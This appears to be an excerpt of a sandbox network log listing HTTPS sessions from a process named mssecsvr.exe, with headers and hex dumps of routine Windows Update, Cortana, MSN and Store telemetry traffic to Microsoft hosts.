2022-07-20 13:43:28 UTC	59	OUT	GET /apc/trans.gif?3ba8ad6f2f2268384dd0d9c11ed41879 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: fp-as.azureedge.net Connection: Keep-Alive
2022-07-20 13:43:28 UTC	59	IN	HTTP/1.1 200 OK Content-Length: 43 Content-Type: image/gif Content-MD5: MlRyYBVx8x4b8AZ0w2jTNQ== Last-Modified: Tue, 27 Feb 2018 23:48:21 GMT ETag: 0x8D57E3C9594BD94 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 427edb53-801e-0102-3dea-ca55b2000000 x-ms-version: 2009-09-19 x-ms-meta-CbModifiedTime: Mon, 08 Feb 2016 20:57:42 GMT x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-CbModifiedTime,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: max-age=360721, s-maxage=86400 Date: Wed, 20 Jul 2022 13:43:28 GMT Connection: close
2022-07-20 13:43:28 UTC	60	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	52347	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:05 UTC	8243	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:05 UTC	8243	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7517e9b8-99d0-474b-8398-2080acf4ff97 MS-RequestId: 86885202-7f37-48f6-bfaf-b12c127a3f1e MS-CV: rMt+yMEbQU6irvVq.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:04 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:05 UTC	8244	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:05 UTC	8259	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:05 UTC	8275	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	52400	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:06 UTC	8279	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:07 UTC	8279	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: e2121c4f-0d90-4929-b7b2-5c39ba151e81 MS-RequestId: 81c195bd-5dcd-474e-9c58-2926fa001a11 MS-CV: qSZr92Oy70CEra8J.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:06 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:07 UTC	8280	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:07 UTC	8295	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:07 UTC	8311	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	52560	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:08 UTC	8315	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2785 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 13:45:08 UTC	8315	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 32 32 30 33 37 35 35 37 33 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 33 45 34 31 31 37 30 38 35 37 32 30 34 39 41 46 41 39 34 34 39 37 31 42 43 46 39 36 33 35 43 30 26 41 53 49 44 3d 35 36 30 38 33 64 65 61 62 64 66 61 34 30 66 63 62 32 63 34 66 64 31 33 32 31 32 32 61 36 63 34 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 32 32 34 34 32 38 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 33 34 33 30 32 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 3a Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=220375573&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=3E411708572049AFA944971BCF9635C0&ASID=56083deabdfa40fcb2c4fd132122a6c4&TIME=20220720T224428Z&SLOT=2&REQT=20220720T134302&MA_Score=2&LOCALID=w:
2022-07-20 13:45:08 UTC	8318	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:45:07 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	52564	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:09 UTC	8318	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224357Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:09 UTC	8319	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 687c2ff1-afa3-4ac5-bf17-add112a28b64 Date: Wed, 20 Jul 2022 13:45:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	52563	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:09 UTC	8319	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:09 UTC	8320	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 86593356-eb18-4582-ae9c-4727296f2032 MS-RequestId: 845070cc-380d-401a-956a-05545d0988ab MS-CV: zZxuJdNcd065OokE.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:08 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:09 UTC	8321	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:09 UTC	8336	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:09 UTC	8352	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	52569	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:09 UTC	8319	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224359Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:09 UTC	8320	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d2d8a32e-1f46-4eaa-aeb4-556ae016c100 Date: Wed, 20 Jul 2022 13:45:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	52618	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:10 UTC	8356	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224400Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:10 UTC	8356	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 38332155-e663-406a-be0d-4932683cb6d4 Date: Wed, 20 Jul 2022 13:45:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	52619	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:10 UTC	8356	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:10 UTC	8358	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c40b2e35-be14-407f-915a-061cfcc88d3f MS-RequestId: 48f5091b-043a-4885-8e9c-4ace4916068a MS-CV: ICkGT+2fHUqkz++0.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:09 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:10 UTC	8358	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:10 UTC	8374	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:10 UTC	8390	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root 